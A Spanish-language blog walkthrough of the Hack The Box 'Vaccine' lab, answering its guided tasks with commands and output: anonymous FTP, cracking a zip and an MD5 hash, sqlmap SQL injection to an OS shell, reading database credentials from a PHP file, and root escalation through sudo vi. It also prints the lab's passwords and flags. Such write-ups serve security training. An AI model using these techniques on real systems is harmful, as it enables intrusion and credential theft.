Entrada

Vaccine

Task 1

Besides SSH and HTTP, what other service is hosted on this box?

Como ya es costumbre en los retos de HTB comenzamos con nmap para hacer el reconocimiento.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali25)-[~]
└─$ nmap -p- 10.129.243.181 -vv      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-01 20:03 CEST
Initiating Ping Scan at 20:03
Scanning 10.129.243.181 [4 ports]
Completed Ping Scan at 20:03, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:03
Completed Parallel DNS resolution of 1 host. at 20:03, 13.00s elapsed
Initiating SYN Stealth Scan at 20:03
Scanning 10.129.243.181 [65535 ports]
Discovered open port 21/tcp on 10.129.243.181
Discovered open port 80/tcp on 10.129.243.181
Discovered open port 22/tcp on 10.129.243.181

ftp

Task 2

This service can be configured to allow login with any password for specific username. What is that username? Conectamos al servicio ftp por supuesto como usuario anonymous

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali25)-[~]
└─$ ftp 10.129.243.181               
Connected to 10.129.243.181.
220 (vsFTPd 3.0.3)
Name (10.129.243.181:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||10686|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
229 Entering Extended Passive Mode (|||10400|)
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
100% |***************************************************************************************************************|  2533      387.65 KiB/s    00:00 ETA
226 Transfer complete.
2533 bytes received in 00:00 (46.01 KiB/s)

anonymous

Task 3

What is the name of the file downloaded over this service?

backup.zip

Task 4

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

zip2john es un script que viene con John the ripper, genera un hash a partir de un archivo zip cifrado, en un formato que si puede ser crackeado.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali25)-[~]
└─$ zip2john backup.zip > output
Created directory: /home/kali/.john
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

┌──(kali㉿kali25)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt output 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963        (backup.zip)     
1g 0:00:00:00 DONE (2025-08-01 20:29) 50.00g/s 204800p/s 204800c/s 204800C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

zip2john

Task 5

What is the password for the admin user on the website?

Ahora podemos descifrar el archivo de backup y ver el contenido de los archivos que contengan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali25)-[~]
└─$ unzip backup.zip 
Archive:  backup.zip
[backup.zip] index.php password: 
  inflating: index.php               
  inflating: style.css 

┌──(kali㉿kali25)-[~]
└─$ cat index.php 
<!DOCTYPE html>
<?php
session_start();
  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {

Y el código de index.php encontramos el hash de la password que admin que debe utilizar para logearse. Toca hacer fuerza bruta para descifrarla.

1
2
3
4
┌──(kali㉿kali25)-[~]
└─$ hashcat -m 0 2cb42f8734ea607eefed3b70af13bbd3 /usr/share/wordlists/rockyou.txt 
2cb42f8734ea607eefed3b70af13bbd3:qwerty789

qwerty789

Task 6

What option can be passed to sqlmap to try to get command execution via the sql injection?

Nos podemos logear con las credenciales obtenidas y vemos una web con un buscador parece un catálogo, según lo indicado deberíamos buscar un sqli.

1
2
3
4
5
6
7
8
9
10
11
MegaCorp Car Catalogue
Elixir 	Sports 	Petrol 	2000cc
Sandy 	Sedan 	Petrol 	1000cc
Meta 	SUV 	Petrol 	800cc
Zeus 	Sedan 	Diesel 	1000cc
Alpha 	SUV 	Petrol 	1200cc
Canon 	Minivan 	Diesel 	600cc
Pico 	Sed 	Petrol 	750cc
Vroom 	Minivan 	Petrol 	800cc
Lazer 	Sports 	Diesel 	1400cc
Force 	Sedan 	Petrol 	600cc

Así que lanzamos sqlmap y vemos si conseguimos ejecutar el --os-shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali25)-[~]
└─$ sqlmap -u http://10.129.243.181/dashboard.php?search=MegaCorp --os-shell --flush-session --cookie="PHPSESSID=6vf4v6ojpk569pc630g0l416ea"
[21:52:34] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: search (GET)
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=MegaCorp';SELECT PG_SLEEP(5)--

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: search=MegaCorp' UNION ALL SELECT NULL,NULL,(CHR(113)||CHR(120)||CHR(98)||CHR(112)||CHR(113))||(CHR(107)||CHR(75)||CHR(114)||CHR(75)||CHR(86)||CHR(71)||CHR(121)||CHR(101)||CHR(75)||CHR(102)||CHR(99)||CHR(97)||CHR(79)||CHR(120)||CHR(79)||CHR(75)||CHR(108)||CHR(78)||CHR(97)||CHR(87)||CHR(110)||CHR(90)||CHR(99)||CHR(114)||CHR(103)||CHR(102)||CHR(79)||CHR(108)||CHR(83)||CHR(109)||CHR(78)||CHR(99)||CHR(83)||CHR(102)||CHR(89)||CHR(76)||CHR(111)||CHR(99)||CHR(104)||CHR(112))||(CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113)),NULL,NULL-- zpIP
---
[21:52:43] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[21:52:44] [INFO] fingerprinting the back-end DBMS operating system
[21:52:44] [INFO] the back-end DBMS operating system is Linux
[21:52:44] [INFO] testing if current user is DBA
[21:52:45] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[21:52:45] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] 

command standard output: 'postgres'
os-shell> 

Hemos conseguido una shell y podemos ejecutar comandos

–os-shell

1
2
3
4
5
6
7
8
os-shell> cat /var/www/html/dashboard.php
[22:38:27] [WARNING] the SQL query provided does not return any output
[22:38:27] [INFO] retrieved: 
No output

os-shell> echo $(cat /var/www/html/dashboard.php)
command standard output: '<!DOCTYPE html> <html lang=\"en\" > <head> <meta charset=\"UTF-8\"> <title>Admin Dashboard</title> <link rel=\"stylesheet\" href=\"./dashboard.css\"> <script src=\"https://use.fontawesome.com/33a3739634.js\"></script> </head> <body> <!-- partial:index.partial.html --> <body> <div id=\"wrapper\"> <div class=\"parent\"> <h1 align=\"left\">MegaCorp Car Catalogue</h1> <form action=\"\" method=\"GET\"> <div class=\"search-box\"> <input type=\"search\" name=\"search\" placeholder=\"Search\" /> <button type=\"submit\" class=\"search-btn\"><i class=\"fa fa-search\"></i></button> </div> </form> </div> <table id=\"keywords\" cellspacing=\"0\" cellpadding=\"0\"> <thead> <tr> <th><span style=\"color: white\">Name</span></th> <th><span style=\"color: white\">Type</span></th> <th><span style=\"color: white\">Fuel</span></th> <th><span style=\"color: white\">Engine</span></th> </tr> </thead> <tbody> <?php session_start(); if($_SESSION['login'] !== \"true\") { header(\"Location: index.php\"); die(); } try { $conn = pg_connect(\"host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!\"); } catch ( exception $e ) { echo $e->getMessage(); } if(isset($_REQUEST['search'])) { $q = \"Select PG_VERSION base global pg_commit_ts pg_dynshmem pg_logical pg_multixact pg_notify pg_replslot pg_serial pg_snapshots pg_stat pg_stat_tmp pg_subtrans pg_tblspc pg_twophase pg_wal pg_xact postgresql.auto.conf postmaster.opts postmaster.pid from cars where name ilike '%\". $_REQUEST[\"search\"] .\"%'\"; $result = pg_query($conn,$q); if (!$result) { die(pg_last_error($conn)); } while($row = pg_fetch_array($result, NULL, PGSQL_NUM)) { echo \" <tr> <td class='lalign'>$row[1]</td> <td>$row[2]</td> <td>$row[3]</td> <td>$row[4]</td> </tr>\"; } } else { $q = \"Select PG_VERSION base global pg_commit_ts pg_dynshmem pg_logical pg_multixact pg_notify pg_replslot pg_serial pg_snapshots pg_stat pg_stat_tmp pg_subtrans pg_tblspc pg_twophase pg_wal pg_xact postgresql.auto.conf postmaster.opts postmaster.pid from cars\"; $result = pg_query($conn,$q); if (!$result) { die(pg_last_error($conn)); } while($row = pg_fetch_array($result, NULL, PGSQL_NUM)) { echo \" <tr> <td class='lalign'>$row[1]</td> <td>$row[2]</td> <td>$row[3]</td> <td>$row[4]</td> </tr>\"; } } ?> </tbody> </table> </div> </body> <!-- partial --> <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery.tablesorter/2.28.14/js/jquery.tablesorter.min.js'></script><script src=\"./dashboard.js\"></script> </body> </html>'

Intenté con sudo -l para ver que comandos tenía disponible pero no tenía ninguna salida. Sin embargo podemos lidiar un poco con el terminal pues el comando anterior echo $(cat /var/www/html/dashboard.php) no tendría mucho sentido en terminos de Bash pues cat ya hace eco, pero con este truco conseguí salvar el inconveniente y accedí a información importante para el reto, la password del usuario postgres

user=postgres password=P@s5w0rd!

Task 7 What program can the postgres user run as root using sudo?

1
2
os-shell> echo $(echo "P@s5w0rd!" | sudo -S -l)
command standard output: 'Matching Defaults entries for postgres on vaccine: env_keep+=\"LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET\", env_keep+=\"XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH\", secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, mail_badpass User postgres may run the following commands on vaccine: (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf'

Uso el mismo truco anterior para obtener los resultados esperados, pasar la password a sudo de esta forma es inseguro porque se podría ver en el history, no usen esta mala praxis, estamos atacando.

vi

Submit user flag

No podemos pedir usar vi con este terminal proporcionado por sqlmap, así que nos conectamos por SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali25)-[~]
└─$ ssh postgres@10.129.243.181
postgres@10.129.243.181's password: 
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-64-generic x86_64)
postgres@vaccine:~$ sudo -l
[sudo] password for postgres: 
Matching Defaults entries for postgres on vaccine:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User postgres may run the following commands on vaccine:
    (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

postgres@vaccine:~$ find / -name user.txt 2> /dev/null
/var/lib/postgresql/user.txt
postgres@vaccine:~$ cat /var/lib/postgresql/user.txt
ec9b13ca4d6229cd5cc1e09980965bf7

Submit user flag

Como en todos los retos buscamos user.txt para encontrar el user flag

ec9b13ca4d6229cd5cc1e09980965bf7

Submit root flag

Ahora podemos abusar de los permisos que nos han concedido para poder utilizar vi como vector de penetración.

1
postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

Como se puede usar vi para lanzar comandos estaríamos ejecutando binario con demasiadas capacidades y para más lo estamos lanzando privilegiado.

:! cat /root/root.txt

Dentro de vi ejecutamos :! cat /root/root.txt o el comando que queramos, tenemos privilegios.

1
2
Press ENTER or type command to continue
dd6e058e814260bc70e9bbdef2715849

dd6e058e814260bc70e9bbdef2715849

Lanzamos el comando con sudo y ahora dirigiendo los comandos a descubrir el directorio de root y la flag

achivement

Esta entrada está licenciada bajo CC BY 4.0 por el autor.